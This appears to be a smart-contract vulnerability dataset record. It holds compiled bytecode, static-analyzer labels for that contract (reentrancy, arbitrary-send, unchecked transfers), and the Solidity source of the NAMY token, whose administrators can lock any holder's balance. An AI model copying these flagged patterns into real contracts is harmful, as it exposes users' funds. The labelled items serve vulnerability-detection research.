0800151826101000151612403565b600081606001511180611cd0575060008160e00151115b15611ce757611ce781606001518260e00151612479565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360a00151604051611d3091815260200190565b60405180910390a360008160e00151826101000151611d4f9190612795565b1115611db157306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360e00151846101000151611d9f9190612795565b60405190815260200160405180910390a35b5050505050565b600b54600a546000918291825b600754811015611f0a57826001600060078481548110611de757611de761274e565b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611e525750816002600060078481548110611e2b57611e2b61274e565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611e6857600b54600a54945094505050509091565b6001600060078381548110611e7f57611e7f61274e565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611eae9084612715565b92506002600060078381548110611ec757611ec761274e565b60009182526020808320909101546001600160a01b03168352820192909252604001902054611ef69083612715565b915080611f028161277a565b915050611dc5565b50600a54600b54611f1b919061272c565b821015611f3257600b54600a549350935050509091565b90939092509050565b611f4361248e565b81611f545760a0810183905261091b565b601054606490611f6490856128bd565b611f6e919061272c565b60c0820152601154606490611f8390856128bd565b611f8d919061272c565b60e0820152601254606490611fa290856128bd565b611fac919061272c565b610100820181905260e082015160c0830151611fc89086612715565b611fd29190612715565b611fdc9190612715565b60a082015292915050565b600080808080611ff786896128bd565b94508661200f57508392506000915081905080612069565b858960c0015161201f91906128bd565b9250858960e0015161203191906128bd565b91508589610100015161204491906128bd565b905080826120528588612715565b61205c9190612715565b6120669190612715565b93505b945094509450945094565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106120a9576120a961274e565b60200260200101906001600160a01b031690816001600160a01b031681525050600860039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561211c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061214091906128dc565b816001815181106121535761215361274e565b6001600160a01b039283166020918202929092010152600854612180913091630100000090041684611480565b60085460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac947906121bf9085906000908690309042906004016128f9565b600060405180830381600087803b1580156121d957600080fd5b505af11580156121ed573d6000803e3d6000fd5b505050505050565b600854612214903090630100000090046001600160a01b031684611480565b600854600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a48201526301000000909204169063f305d71990839060c40160606040518083038185885af115801561228b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611db1919061296a565b804710156123005760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016108d6565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461234d576040519150601f19603f3d011682016040523d82523d6000602084013e612352565b606091505b50509050806123c95760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016108d6565b505050565b81600b60008282546123e09190612715565b9091555050601380548291906000906123fa908490612795565b90915550505050565b80601360020160008282546124189190612795565b90915550503060009081526005602052604090205460ff161561245a573060009081526002602052604081208054839290612454908490612795565b90915550505b30600090815260016020526040812080548492906123fa908490612795565b80601360010160008282546124189190612795565b6040518061012001604052806000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6001600160a01b038116811461147d57600080fd5b801515811461147d57600080fd5b6000806040838503121561251057600080fd5b823561251b816124da565b9150602083013561252b816124ef565b809150509250929050565b600060208083528351808285015260005b8181101561256357858101830151858201604001528201612547565b81811115612575576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561259e57600080fd5b82356125a9816124da565b946020939093013593505050565b6000806000606084860312156125cc57600080fd5b83356125d7816124da565b925060208401356125e7816124da565b929592945050506040919091013590565b60006020828403121561260a57600080fd5b5035919050565b60006020828403121561262357600080fd5b8135610adc816124da565b6000806040838503121561264157600080fd5b823561264c816124da565b9150602083013561252b816124da565b6000806040838503121561266f57600080fd5b82359150602083013561252b816124ef565b60006020828403121561269357600080fd5b8135610adc816124ef565b6000806000606084860312156126b357600080fd5b505081359360208301359350604090920135919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015612727576127276126ff565b500390565b60008261274957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b600060001982141561278e5761278e6126ff565b5060010190565b600082198211156127a8576127a86126ff565b500190565b6000602082840312156127bf57600080fd5b8151610adc816124ef565b600181815b808511156128055781600019048211156127eb576127eb6126ff565b808516156127f857918102915b93841c93908002906127cf565b509250929050565b60008261281c5750600161091b565b816128295750600061091b565b816001811461283f576002811461284957612865565b600191505061091b565b60ff84111561285a5761285a6126ff565b50506001821b61091b565b5060208310610133831016604e8410600b8410161715612888575081810a61091b565b61289283836127ca565b80600019048211156128a6576128a66126ff565b029392505050565b6000610adc60ff84168361280d565b60008160001904831182151516156128d7576128d76126ff565b500290565b6000602082840312156128ee57600080fd5b8151610adc816124da565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156129495784516001600160a01b031683529383019391830191600101612924565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561297f57600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212205520f66bb841eb46612b7a79eabdb20fb857c003442175e8450dc3cfc8ae049e64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,077
0x9912106D829e580Baa4EceeeF2D583C134Cc8B97
pragma solidity ^0.4.23; library SafeMathLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract DateTimeLib { struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) internal pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) internal pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } dt.hour = getHour(timestamp); dt.minute = getMinute(timestamp); dt.second = getSecond(timestamp); dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) internal pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) internal pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) internal pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) internal pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) { uint16 i; for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } timestamp += DAY_IN_SECONDS * (day - 1); timestamp += HOUR_IN_SECONDS * (hour); timestamp += MINUTE_IN_SECONDS * (minute); timestamp += second; return timestamp; } } interface IERC20 { function totalSupply() external constant returns (uint256); function balanceOf(address _owner) external constant returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address _spender, uint256 _value); } contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "NAMY"; string public constant name = "NamyChain Token"; uint _totalSupply = 1000000000 * 10 ** 8; uint8 public constant decimals = 8; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LockableToken is StandardToken { address internal developerReservedAddress = 0xbECbC200EDe5FAC310FD0224dA88FB8eFE2cf10D; uint[4] internal developerReservedUnlockTimes; uint256[4] internal developerReservedBalanceLimits; mapping(address => uint256) internal balanceLocks; mapping(address => uint) internal timeLocks; function getLockInfo(address _address) public constant returns (uint timeLock, uint256 balanceLock) { return (timeLocks[_address], balanceLocks[_address]); } function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) { uint time = now; for (uint index = 0; index < developerReservedUnlockTimes.length; index++) { if (developerReservedUnlockTimes[index] == 0x0) { continue; } if (time > developerReservedUnlockTimes[index]) { developerReservedUnlockTimes[index] = 0x0; } else { return developerReservedBalanceLimits[index]; } } return 0; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } var(timeLock, balanceLock) = getLockInfo(_from); if (timeLock <= now && timeLock != 0x0) { timeLock = 0x0; timeLocks[_from] = 0x0; balanceLocks[_from] = 0x0; emit UnLock(_from, timeLock, balanceLock); balanceLock = 0x0; } if (timeLock != 0x0 && balanceLock > 0x0) { require(balances[_from].sub(balanceLock) >= _value); } return super.transferInternal(_from, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_from != 0x0 && _to != 0x0 && _value > 0x0); if (_from == developerReservedAddress) { uint256 balanceLimit = getDeveloperReservedBalanceLimit(); require(balances[_from].sub(balanceLimit) >= _value); } var(timeLock, balanceLock) = getLockInfo(_from); if (timeLock <= now && timeLock != 0x0) { timeLock = 0x0; timeLocks[_from] = 0x0; balanceLocks[_from] = 0x0; emit UnLock(_from, timeLock, balanceLock); balanceLock = 0x0; } if (timeLock != 0x0 && balanceLock > 0x0) { require(balances[_from].sub(balanceLock) >= _value); } return super.transferFrom(_from, _to, _value); } event DeveloperReservedUnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime); event DeveloperReservedLockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit); event Lock(address indexed lockAddress, uint timeLock, uint256 balanceLock); event UnLock(address indexed lockAddress, uint timeLock, uint256 balanceLock); } contract TradeableToken is LockableToken { address internal publicOfferingAddress = 0xe5eEB1357C74543B475BaAf6fED35f2B0D9e8Ef7; uint256 public exchangeRate = 7500; function buy(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != 0x0); require(publicOfferingAddress != 0x0); require(exchangeRate > 0x0); require(_weiAmount > 0x0); uint256 exchangeToken = _weiAmount.mul(exchangeRate); exchangeToken = exchangeToken.div(1 * 10 ** 10); publicOfferingAddress.transfer(_weiAmount); super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken); } event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate); } contract OwnableToken is TradeableToken { address internal owner = 0xd07cA79B4Cb32c2A91F23E7eC49BED63706aD207; mapping(address => uint) administrators; modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdministrator() { require(msg.sender == owner || administrators[msg.sender] > 0x0); _; } function transferOwnership(address _newOwner) onlyOwner public returns (bool success) { require(_newOwner != address(0)); owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); return true; } function addAdministrator(address _adminAddress) onlyOwner public returns (bool success) { require(_adminAddress != address(0)); require(administrators[_adminAddress] <= 0x0); administrators[_adminAddress] = 0x1; emit AddAdministrator(_adminAddress); return true; } function removeAdministrator(address _adminAddress) onlyOwner public returns (bool success) { require(_adminAddress != address(0)); require(administrators[_adminAddress] > 0x0); administrators[_adminAddress] = 0x0; emit RemoveAdministrator(_adminAddress); return true; } function isAdministrator(address _adminAddress) view public returns (bool success) { require(_adminAddress != address(0)); return (administrators[_adminAddress] == 0x1 || _adminAddress == owner); } function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) { require(_exchangeRate > 0x0); uint256 oldExchangeRate = exchangeRate; exchangeRate = _exchangeRate; emit ExchangeRateChanged(oldExchangeRate, exchangeRate); return true; } function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0); if(_index > 0x0) { uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1]; require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime); } if(_index < developerReservedUnlockTimes.length - 1) { uint afterUnlockTime = developerReservedUnlockTimes[_index + 1]; require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime); } uint oldUnlockTime = developerReservedUnlockTimes[_index]; developerReservedUnlockTimes[_index] = _unlockTime; emit DeveloperReservedUnlockTimeChanged(_index,oldUnlockTime,_unlockTime); return true; } function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) { require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length); emit DeveloperReservedLockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]); return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]); } function lock(address _owner, uint _releaseTime, uint256 _value) public onlyAdministrator returns (uint releaseTime, uint256 limit) { require(_owner != 0x0 && _value > 0x0 && _releaseTime >= now); balanceLocks[_owner] = _value; timeLocks[_owner] = _releaseTime; emit Lock(_owner, _releaseTime, _value); return (_releaseTime, _value); } function unlock(address _owner) public onlyAdministrator returns (bool) { require(_owner != 0x0); uint _releaseTime = timeLocks[_owner]; uint256 _value = balanceLocks[_owner]; balanceLocks[_owner] = 0x0; timeLocks[_owner] = 0x0; emit UnLock(_owner, _releaseTime, _value); return true; } function transferAndLock(address _to, uint256 _value, uint _releaseTime) public onlyAdministrator returns (bool success) { require(_to != 0x0); require(_value > 0); require(_releaseTime >= now); require(_value <= balances[msg.sender]); lock(_to, _releaseTime, _value); super.transfer(_to, _value); return true; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdministrator(address indexed adminAddress); event RemoveAdministrator(address indexed adminAddress); } contract NAMY is OwnableToken { constructor() public { balances[owner] = 500000000 * 10 ** 8; balances[publicOfferingAddress] = 300000000 * 10 ** 8; uint256 developerReservedBalance = 200000000 * 10 ** 8; balances[developerReservedAddress] = developerReservedBalance; developerReservedUnlockTimes = [ DateTimeLib.toTimestamp(2019, 8, 1), DateTimeLib.toTimestamp(2020, 8, 1), DateTimeLib.toTimestamp(2021, 8, 1), DateTimeLib.toTimestamp(2022, 8, 1) ]; developerReservedBalanceLimits = [ developerReservedBalance, developerReservedBalance - (developerReservedBalance / 4) * 1, developerReservedBalance - (developerReservedBalance / 4) * 2, developerReservedBalance - (developerReservedBalance / 4) * 3 ]; } function() public payable { buy(msg.sender, msg.value); } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610129578063095ea7b3146101b95780630a2eb3011461021e57806318160ddd1461027957806323b872dd146102a45780632f6c493c14610329578063313ce567146103845780633ba0b9a9146103b557806368fa8134146103e057806370a082311461043b5780637238ccdb1461049257806384d5d944146104f057806395d89b411461055f578063a9059cbb146105ef578063aad7104014610654578063c9991176146106a3578063db068e0e146106fe578063dd62ed3e14610743578063e2ab691d146107ba578063f2fde38b1461082c578063f6988b7914610887575b61012733346108cf565b005b34801561013557600080fd5b5061013e610a2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017e578082015181840152602081019050610163565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b50610204600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a64565b604051808215151515815260200191505060405180910390f35b34801561022a57600080fd5b5061025f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b73565b604051808215151515815260200191505060405180910390f35b34801561028557600080fd5b5061028e610c52565b6040518082815260200191505060405180910390f35b3480156102b057600080fd5b5061030f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5c565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b604051808215151515815260200191505060405180910390f35b34801561039057600080fd5b50610399611150565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103c157600080fd5b506103ca611155565b6040518082815260200191505060405180910390f35b3480156103ec57600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b5061047c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d4565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131c565b604051808381526020018281526020019250505060405180910390f35b3480156104fc57600080fd5b50610545600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506113a8565b604051808215151515815260200191505060405180910390f35b34801561056b57600080fd5b50610574611504565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b4578082015181840152602081019050610599565b50505050905090810190601f1680156105e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105fb57600080fd5b5061063a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153d565b604051808215151515815260200191505060405180910390f35b34801561066057600080fd5b506106896004803603810190808035906020019092919080359060200190929190505050611552565b604051808215151515815260200191505060405180910390f35b3480156106af57600080fd5b506106e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611717565b604051808215151515815260200191505060405180910390f35b34801561070a57600080fd5b5061072960048036038101908080359060200190929190505050611891565b604051808215151515815260200191505060405180910390f35b34801561074f57600080fd5b506107a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a0565b6040518082815260200191505060405180910390f35b3480156107c657600080fd5b5061080f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611a27565b604051808381526020018281526020019250505060405180910390f35b34801561083857600080fd5b5061086d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfa565b604051808215151515815260200191505060405180910390f35b34801561089357600080fd5b506108b260048036038101908080359060200190929190505050611d5a565b604051808381526020018281526020019250505060405180910390f35b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561093e57600080fd5b6000600f5411151561094f57600080fd5b60008211151561095e57600080fd5b610973600f5483611ef690919063ffffffff16565b905061098d6402540be40082611f2990919063ffffffff16565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109f7573d6000803e3d6000fd5b50610a25600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168483611f6a565b50505050565b6040805190810160405280600f81526020017f4e616d79436861696e20546f6b656e000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610bb057600080fd5b6001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480610c4b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000600254905090565b60008060008060008773ffffffffffffffffffffffffffffffffffffffff1614158015610ca0575060008673ffffffffffffffffffffffffffffffffffffffff1614155b8015610cac5750600085115b1515610cb757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415610d7757610d1561221e565b925084610d69846000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b10151515610d7657600080fd5b5b610d808761131c565b91509150428211158015610d95575060008214155b15610e8357600091506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600090505b60008214158015610e945750600081115b15610ef95784610eeb826000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b10151515610ef857600080fd5b5b610f048787876122ce565b93505050509392505050565b6000806000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fb057506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515610fbb57600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610fe157600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600192505050919050565b600881565b600f5481565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156111f557600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561124357600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5e40a439a19faa971f5d14cf300dcd7ee0d236808b9a988c9b4ca89cb833e96160405160405180910390a260019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061144557506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561145057600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff161415151561147657600080fd5b60008311151561148557600080fd5b42821015151561149457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114e157600080fd5b6114ec848385611a27565b50506114f8848461153d565b50600190509392505050565b6040805190810160405280600481526020017f4e414d590000000000000000000000000000000000000000000000000000000081525081565b600061154a338484611f6a565b905092915050565b600080600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115f357506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15156115fe57600080fd5b6000861015801561160f5750600486105b801561161b5750600085115b151561162657600080fd5b600086111561165f5760046001870360048110151561164157fe5b015492506000